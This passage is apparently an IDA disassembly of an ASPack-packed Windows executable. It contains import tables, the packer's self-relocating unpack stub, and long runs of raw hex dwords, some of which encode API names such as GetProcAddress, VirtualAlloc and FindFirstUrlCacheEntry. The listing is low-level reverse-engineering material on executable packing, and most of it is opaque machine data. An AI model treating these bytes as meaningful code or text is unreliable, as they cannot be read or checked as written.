off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C aUser32_dll_0 db 'USER32.DLL',0 align 4 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 aGdi32_dll db 'GDI32.DLL',0 align 4 dd offset off_448064 dd offset off_448064 dd offset off_448064 dd offset off_448064 dd offset off_448064 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 align 4 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 aCrtdll_dll db 'CRTDLL.DLL',0 align 4 dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C align 1000h _idata ends ; Section 5. (virtual address 0004A000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0004A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _aspack segment para public 'DATA' use32 assume cs:_aspack ;org 44A000h db 90h ; =============== S U B R O U T I N E ======================================= public start start proc near pusha call sub_44A577 jmp short loc_44A055 ; --------------------------------------------------------------------------- align 4 dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0) dd 4A00001h, 0AD000000h, 0AB000000h, 809A5100h, 809AE47Ch dd 7Ch, 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_44A055: ; CODE XREF: start+6j mov ebx, offset dword_4439A4 add ebx, ebp sub ebx, ss:dword_4439D5[ebp] cmp ss:dword_444804[ebp], 0 mov ss:dword_444804[ebp], ebx jnz loc_44A4DB lea eax, dword_44480C[ebp] push eax call ss:dword_444918[ebp] mov ss:dword_444808[ebp], eax mov edi, eax lea ebx, dword_444819[ebp] push ebx push eax call ss:dword_444914[ebp] mov ss:dword_4439E1[ebp], eax lea ebx, dword_444826[ebp] push ebx push edi call ss:dword_444914[ebp] mov ss:dword_4439E5[ebp], eax lea eax, dword_443B72[ebp] jmp eax ; --------------------------------------------------------------------------- align 10h dd 40h, 2 dup(0) dd 80000000h, 12190004h, 2 dup(0) dd 10000000h, 0BA1C0000h, 0C0000000h, 0BB980003h, 80000000h dd 10540004h, 36h dup(0) dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h dd 4468B00h, 10E05h, 68046A00h, 1000h, 0FF006A50h, 4439E195h dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh dd 76FF0044h, 0E8535004h, 339h, 39D4BD80h, 75000044h, 0D485FE5Ch dd 8B004439h, 4BD033Eh, 0FF004448h, 0C307C637h, 78FD7FFh dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh dd 75013E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h dd 4439D9B5h, 2F9C100h, 0C88BA5F3h, 0F303E183h, 685EA4h dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h dd 3FB8316h, 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h, 3107E8Bh dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h dd 3047580h, 534343DAh, 0FFFFE381h, 0FF537FFFh, 4439B1B5h dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h dd 468B5716h, 485030Ch, 50004448h, 0D0858D53h, 50004448h dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h, 890689FFh dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_44A4DB: ; CODE XREF: start+6Ej mov eax, ss:dword_443A76[ebp] push eax add eax, ss:dword_444804[ebp] pop ecx or ecx, ecx mov ss:dword_443EA1[ebp], eax popa jnz short loc_44A4FC mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_44A4FC: ; CODE XREF: start+4F1j push offset sub_401219 retn start endp ; --------------------------------------------------------------------------- aLeHd db '',8,'HD',0 aNnahd db 'AHD',0 dw 5051h dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h dd 44491495h, 0F1858900h, 8B004439h, 44484D85h, 688D8D00h dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h, 8D306A5Fh dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h, 0ED95FFFFh db 39h, 44h, 0 ; =============== S U B R O U T I N E ======================================= sub_44A577 proc near ; CODE XREF: start+1p mov ebp, [esp+0] sub ebp, offset byte_4439AB retn sub_44A577 endp ; --------------------------------------------------------------------------- db 8Bh, 44h, 24h dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah dd 354C481h, 8BC30000h, 0C4812404h, 354h, 10C2h, 4030201h dd 8070605h, 100E0C0Ah, 201C1814h, 40383028h, 80706050h dd 0E0C0A0h, 0 dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah dd 8B084289h, 47A89C7h, 0D273C13Bh, 4728B5Bh, 8B08428Bh dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h dd 84h, 7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h, 0FF81F803h dd 1000000h, 24247C89h, 8E870Fh, 448B0000h, 7D892834h dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h, 758B4D7Ch dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h, 0CE8B10EEh dd 0FF25h, 3CB2B00h, 8BD88AFBh, 89FB8AD1h, 8B1C2474h, 24748BC3h dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h dd 98h, 8B0004C2h, 8482h, 85C93300h, 8B3B76C0h, 0AC24B4h dd 48A0000h, 74C08431h, 88BA8B22h, 25000000h, 0FFh, 6884448Bh dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h, 0F9830450h dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch, 0D21B2846h dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h, 0EB000000h dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h dd 8904428Dh, 440C708h, 20h, 89104289h, 0A082h, 30828900h dd 89000001h, 1C082h, 0B9C03300h, 0BDh, 2508289h, 82890000h dd 254h, 2588289h, 0BA8B0000h, 260h, 25C8289h, 0ABF30000h dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h, 11F88336h dd 36A0E75h, 86E8CD8Bh, 83FFFFFBh, 0CEB03C0h, 0CD8B076Ah dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h dd 5B5D5E5Fh, 30CC481h, 8DC30000h, 2F52484h, 8B8D0000h dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h dd 1E8C300h, 90000000h, 5BEE815Eh, 0C3004445h, 8B14EC83h dd 531C2444h, 0C75655h, 0 dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh dd 50000h, 8BFFFFFFh, 7E083E8h, 8D03EDC1h, 0F8830250h dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh, 443FABh dd 8F9835Eh, 4E8B3272h, 41118A04h, 18245488h, 8B044E89h dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh dd 8B90C56h, 2B000000h, 0D3FB03CFh, 18B9EAh, 7E890000h dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h dd 8F883FDh, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B1C24h, 4468908h, 1C24448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 7E8B0846h dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh dd 0FFFFFFh, 8E8DEFD3h, 130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch dd 8087E83h, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B2024h, 4468908h, 2024448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 468B0856h dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh, 85000002h dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h dd 250968Bh, 4B8D0000h, 588689FDh, 89000002h, 25496h, 508E8900h dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h, 0B05D5E5Fh dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0 dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h, 6C6C642Eh dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h dd 69784500h, 6F725074h, 73736563h, 0 dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80ADA0h dd 7C80B6A1h, 7C801D77h, 0 aKernel32_dll_2 db 'kernel32.dll',0 db 2 dup(0), 47h aEtprocaddress db 'etProcAddress',0 align 10h aGetmodulehandl db 'GetModuleHandleA',0 db 2 dup(0), 4Ch aOadlibrarya db 'oadLibraryA',0 dd 3 dup(0) dd 4AF80h, 4AF70h, 3 dup(0) dd 4B074h, 4B0C4h, 3 dup(0) dd 4B081h, 4B0CCh, 3 dup(0) dd 4B08Dh, 4B0D4h, 3 dup(0) dd 4B097h, 4B0DCh, 3 dup(0) dd 4B0A2h, 4B0E4h, 3 dup(0) dd 4B0ACh, 4B0ECh, 3 dup(0) dd 4B0B9h, 4B0F4h, 5 dup(0) aOleaut32_dll db 'oleaut32.dll',0 aWininet_dll_0 db 'wininet.dll',0 aOle32_dll_0 db 'ole32.dll',0 aUser32_dll_1 db 'user32.dll',0 aGdi32_dll_0 db 'gdi32.dll',0 aAdvapi32_dll_1 db 'advapi32.dll',0 aCrtdll_dll_0 db 'crtdll.dll',0 dd 77124C05h, 0 aB_0 db '=B',0 align 4 dd 774FFAC3h, 0 dd 7E41F642h, 0 dd 77F161D1h, 0 aSwW db 'Sww',0 align 4 aIoS db 'os',0 align 4 dd 79530000h, 6C6C4173h, 7453636Fh, 676E6972h, 46000000h dd 46646E69h, 74737269h, 436C7255h, 65686361h, 72746E45h dd 4179h, 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h dd 6C6C6143h, 646E6957h, 7250776Fh, 41636Fh, 65470000h dd 6F745374h, 624F6B63h, 7463656Ah, 4F000000h, 506E6570h dd 65636F72h, 6F547373h, 6E656Bh, 695F0000h, 616F74h, 0Ch dup(0) dd 6E610000h, 0AB1BE7DEh, 98D24259h, 8A24D0B8h, 0C18399C1h dd 0A2500015h, 2F3960D0h, 0AFF6F800h, 80C35ADBh, 930BC717h dd 3E3BB8C2h, 0E98C5580h, 5E0BF97Fh, 612FA5E2h, 0AF95681h dd 0BFC6D86Eh, 0F888EFC2h, 4F43F3h, 8D4ED69h, 9813D717h dd 209A1D30h, 1487229Dh, 380h dup(0) _aspack ends ; Section 7. (virtual address 0004D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0004D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 44D000h align 2000h _idata2 ends end start